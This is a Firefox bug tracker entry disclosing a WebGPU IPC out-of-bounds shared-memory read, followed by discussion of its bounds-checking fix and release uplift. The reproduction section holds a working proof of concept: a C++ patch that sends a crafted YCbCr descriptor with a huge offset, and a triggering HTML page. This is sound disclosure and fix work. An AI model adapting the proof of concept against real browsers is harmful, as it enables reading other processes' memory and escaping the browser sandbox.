arbitrary size shared memory infoleak using webgpu IPC
Categories
(Core :: Graphics: WebGPU, defect, P1)
Tracking
()
People
(Reporter: oskarlindberg348, Assigned: jnicol)
References
Details
(Keywords: csectype-bounds, reporter-external, sec-high, Whiteboard: [client-bounty-form][adv-main145+])
Attachments
(2 files, 1 external file)
Writeup follows
Background
Similarly to bug 1992032
we can use external textures is by sending CreateExternalTextureSource message onto the WebGPUParent actor.
Vulnerability
By creating an external texture with TSurfaceDescriptorBuffer descriptor type,
/* static */ ExternalTextureSourceHost ExternalTextureSourceHost::Create(
WebGPUParent* aParent, RawId aDeviceId, RawId aQueueId,
const ExternalTextureSourceDescriptor& aDesc) {
const auto& sd = aDesc.mSurfaceDescriptor;
switch (sd.type()) {
case layers::SurfaceDescriptor::TSurfaceDescriptorBuffer: {
const layers::SurfaceDescriptorBuffer& bufferDesc =
sd.get_SurfaceDescriptorBuffer();
auto source =
CreateFromBufferDesc(aParent, aDeviceId, aQueueId, aDesc,
bufferDesc.desc(), GetAddressFromDescriptor(sd));
if (bufferDesc.data().type() == layers::MemoryOrShmem::TShmem) {
aParent->DeallocShmem(bufferDesc.data().get_Shmem());
}
return source;
} break;
When we create the SourceHost from the descriptor, we call CreateFromBufferDesc,
which in the case of a TYCbCrDescriptor descriptor, tries to extract the different planes and copy it onto a webgpu rust created texture via createPlane:
ExternalTextureSourceHost::CreateFromBufferDesc(
WebGPUParent* aParent, RawId aDeviceId, RawId aQueueId,
const ExternalTextureSourceDescriptor& aDesc,
const layers::BufferDescriptor& aSd, uint8_t* aBuffer) {
...
case layers::BufferDescriptor::TYCbCrDescriptor: {
const layers::YCbCrDescriptor& yCbCrDesc = aSd.get_YCbCrDescriptor();
const gfx::IntSize ySize =
layers::ImageDataSerializer::SizeFromBufferDescriptor(aSd);
const gfx::IntSize cbCrSize =
layers::ImageDataSerializer::GetCroppedCbCrSize(aSd);
ffi::WGPUTextureFormat planeFormat;
switch (yCbCrDesc.colorDepth()) {
case gfx::ColorDepth::COLOR_8:
planeFormat = {ffi::WGPUTextureFormat_R8Unorm};
break;
case gfx::ColorDepth::COLOR_10:
case gfx::ColorDepth::COLOR_12:
case gfx::ColorDepth::COLOR_16:
gfxCriticalNoteOnce << "Unsupported color depth: "
<< yCbCrDesc.colorDepth();
aParent->ReportError(
aDeviceId, dom::GPUErrorFilter::Internal,
nsPrintfCString(
"Unsupported color depth: %s",
mozilla::ToString(yCbCrDesc.colorDepth()).c_str()));
return CreateError();
}
createPlane(aDesc.mTextureIds[0], aDesc.mViewIds[0], planeFormat, ySize,
aBuffer + yCbCrDesc.yOffset(), yCbCrDesc.yStride()); // [1]
createPlane(aDesc.mTextureIds[1], aDesc.mViewIds[1], planeFormat,
cbCrSize, aBuffer + yCbCrDesc.cbOffset(),
yCbCrDesc.cbCrStride());
createPlane(aDesc.mTextureIds[2], aDesc.mViewIds[2], planeFormat,
cbCrSize, aBuffer + yCbCrDesc.crOffset(),
yCbCrDesc.cbCrStride());
usedTextureIds.AppendElements(aDesc.mTextureIds.data(),
aDesc.mTextureIds.size());
usedViewIds.AppendElements(aDesc.mViewIds.data(), aDesc.mViewIds.size());
colorSpace = gfx::ToYUVRangedColorSpace(yCbCrDesc.yUVColorSpace(),
yCbCrDesc.colorRange());
}
- An arbitray buffer offset is being added onto the aBuffer (shmem base after fixing
1992032).
A texture is being created and copied from calculated address, reading out of bounds with arbitrary size.
Implications
This is a shared memory read with arbitray offset and size, which can be later used for further webgpu usages and retrieved to the user.
This vulnerability is cross platform, and firefox latest.
Windbg dump
(819c.5c30): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
VCRUNTIME140!memcpy_avx_ermsb_amd+0x167:
00007ffe`08f80aa7 c5fe6f02 vmovdqu ymm0,ymmword ptr [rdx] ds:000001f1`23adffff=??
0:092> r
rax=000001f025980000 rbx=000001f012ae9e90 rcx=000001f025980000
rdx=000001f123adffff rsi=000001f123adffff rdi=0000000000000000
rip=00007ffe08f80aa7 rsp=000000ef43c2c3a8 rbp=000000ef43c2c430
r8=0000000000000100 r9=000001f025980000 r10=00007ffe08f70000
r11=0000000000001000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na po cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287
VCRUNTIME140!memcpy_avx_ermsb_amd+0x167:
00007ffe`08f80aa7 c5fe6f02 vmovdqu ymm0,ymmword ptr [rdx] ds:000001f1`23adffff=??
Attached is an image which has the stack trace for the windbg in the copy operation onto the texture backing store.
Reproduction
- Apply the following patch:
diff --git a/dom/webgpu/Adapter.cpp b/dom/webgpu/Adapter.cpp
index 87d7e8747da1..f81f5589f670 100644
--- a/dom/webgpu/Adapter.cpp
+++ b/dom/webgpu/Adapter.cpp
@@ -652,6 +652,10 @@ already_AddRefed<dom::Promise> Adapter::RequestDevice(
ffi::WGPUDeviceQueueId ids =
ffi::wgpu_client_request_device(GetClient(), GetId(), &ffiDesc);
+
+ GetChild()->FlushQueuedMessages(); // Create device and queue.
+ GetChild()->TriggerArbRead(ids.device, ids.queue); // Arbitary read.
+
auto pending_promise = WebGPUChild::PendingRequestDevicePromise{
RefPtr(promise), ids.device, ids.queue, aDesc.mLabel, RefPtr(this),
features, limits, mInfo, lost_promise};
diff --git a/dom/webgpu/ipc/WebGPUChild.cpp b/dom/webgpu/ipc/WebGPUChild.cpp
index 6dac8e0700c9..daedf356396a 100644
--- a/dom/webgpu/ipc/WebGPUChild.cpp
+++ b/dom/webgpu/ipc/WebGPUChild.cpp
@@ -10,6 +10,7 @@
#include "Adapter.h"
#include "CompilationInfo.h"
#include "DeviceLostInfo.h"
+#include "ImageTypes.h"
#include "PipelineLayout.h"
#include "Sampler.h"
#include "Utility.h"
@@ -25,6 +26,12 @@
#include "mozilla/dom/Promise.h"
#include "mozilla/dom/ScriptSettings.h"
#include "mozilla/dom/WebGPUBinding.h"
+#include "mozilla/gfx/Filters.h"
+#include "mozilla/gfx/Point.h"
+#include "mozilla/gfx/Rect.h"
+#include "mozilla/gfx/Types.h"
+#include "mozilla/ipc/Shmem.h"
+#include "mozilla/layers/LayersSurfaces.h"
#include "mozilla/webgpu/ComputePipeline.h"
#include "mozilla/webgpu/InternalError.h"
#include "mozilla/webgpu/OutOfMemoryError.h"
@@ -84,6 +91,30 @@ RawId WebGPUChild::RenderBundleEncoderFinishError(RawId aDeviceId,
return id;
}
+void WebGPUChild::TriggerArbRead(RawId deviceId, RawId queueId) {
+ auto desc = ExternalTextureSourceDescriptor();
+
+ const auto sourceId =
+ ffi::wgpu_client_make_external_texture_source_id(GetClient());
+
+ const auto textureId = ffi::wgpu_client_make_texture_id(GetClient());
+ desc.mTextureIds.at(0) = RawId(textureId);
+ auto shmem = ipc::Shmem();
+ AllocShmem(0x10000, &shmem);
+ auto mem = layers::MemoryOrShmem(shmem);
+ auto sdb = layers::SurfaceDescriptorBuffer(
+ layers::YCbCrDescriptor(
+ gfx::IntRect(0, 0, 0x100, 0x100), gfx::IntSize(0x1000, 1), 0x1000,
+ gfx::IntSize(0x1000, 1), 0x1000, 0xffffffff, 0, 0,
+ StereoMode::BOTTOM_TOP, gfx::ColorDepth::COLOR_8,
+ gfx::YUVColorSpace::Default, gfx::ColorRange::FULL,
+ gfx::ChromaSubsampling::FULL),
+ mem);
+ desc.mSurfaceDescriptor = sdb;
+
+ SendCreateExternalTextureSource(deviceId, queueId, RawId(sourceId), desc);
+}
+
namespace ffi {
void wgpu_child_send_messages(WGPUWebGPUChildPtr aChild, uint32_t aNrOfMessages,
struct WGPUByteBuf aSerializedMessages) {
diff --git a/dom/webgpu/ipc/WebGPUChild.h b/dom/webgpu/ipc/WebGPUChild.h
index bece8f1e3967..a0cba39e7110 100644
--- a/dom/webgpu/ipc/WebGPUChild.h
+++ b/dom/webgpu/ipc/WebGPUChild.h
@@ -55,6 +55,7 @@ class WebGPUChild final : public PWebGPUChild {
NS_INLINE_DECL_THREADSAFE_REFCOUNTING(WebGPUChild, override)
public:
+ void WebGPUChild::TriggerArbRead(RawId deviceId, RawId queueId);
friend class layers::CompositorBridgeChild;
public:
- host the triggering html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WebGPU Triangle</title>
<style>
body {
margin: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
background-color: #222;
}
canvas {
border: 1px solid white;
}
</style>
</head>
<body>
<canvas id="webgpu-canvas" width="600" height="400"></canvas>
<script type="text/javascript">
if (!navigator.gpu) {
document.body.innerHTML = `
<div style="color: white; text-align: center;">
<h1>Error: WebGPU Not Supported</h1>
<p>Your browser does not support WebGPU. Please use a compatible browser like Google Chrome, Microsoft Edge, or Firefox.</p>
</div>
`;
}
async function initWebGPU() {
// Get the GPU adapter and device
const adapter = await navigator.gpu.requestAdapter();
const device = await adapter.requestDevice();
// Get the canvas and context
const canvas = document.getElementById('webgpu-canvas');
const context = canvas.getContext('webgpu');
const presentationFormat = navigator.gpu.getPreferredCanvasFormat();
context.configure({
device,
format: presentationFormat,
});
}
initWebGPU();
</script>
</body>
</html>
Updated•1 year ago
|
Updated•1 year ago
|
| Assignee | ||
Updated•1 year ago
|
| Assignee | ||
Comment 3•1 year ago
|
||
Comment 4•1 year ago
|
||
Comment on attachment 9519992 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: Not too hard. Replacing
uint8_t*arithmetic withSpanmethod calls does suggest that the pointer arithmetic was interesting to play with. - Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: fx143, fx144, fx145
- If not all supported branches, which bug introduced the flaw?: None
- Do you have backports for the affected branches?: No
- If not, how different, hard to create, and risky will they be?: They'll be easy to create. None of the changes are risky.
- How likely is this patch to cause regressions; how much testing does it need?: Very unlikely to cause regressions. We're simply replacing pointer arithmetic with the equivalent operations on
mozilla::Span, which performs bounds checks. - Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
Comment 5•1 year ago
|
||
Comment on attachment 9519992 [details]
(secure)
Beta/Release Uplift Approval Request
- User impact if declined/Reason for urgency: Security hole: an untrusted content process could read memory of its choice from the GPU process, or (in Nightly) the parent process
- Is this code covered by automated tests?: Yes
- Has the fix been verified in Nightly?: Yes
- Needs manual test from QE?: No
- If yes, steps to reproduce:
- List of other uplifts needed: Bug 1992032
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky): This patch simply replaces C++ pointer arithmetic with equivalent uses of
mozilla::Span, which performs bounds checks. - String changes made/needed: none
- Is Android affected?: No
Updated•1 year ago
|
Comment 6•1 year ago
|
||
Comment on attachment 9519992 [details]
(secure)
Approved to land and request uplift
Comment 9•1 year ago
|
||
| Assignee | ||
Comment 10•1 year ago
|
||
I don't think that failure has anything to do with my patch, I doubt this code is even being executed. And the test is failing very frequently anyway.
Comment 11•1 year ago
|
||
Comment 12•1 year ago
|
||
Updated•1 year ago
|
Comment 13•1 year ago
|
||
| uplift | ||
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Comment 15•1 year ago
|
||
Comment on attachment 9519992 [details]
(secure)
Rejecting release uplift request, Fx144 set to wontfix
Updated•1 year ago
|
Comment 16•1 year ago
|
||
Updated•1 year ago
|
Updated•5 months ago
|
Description
•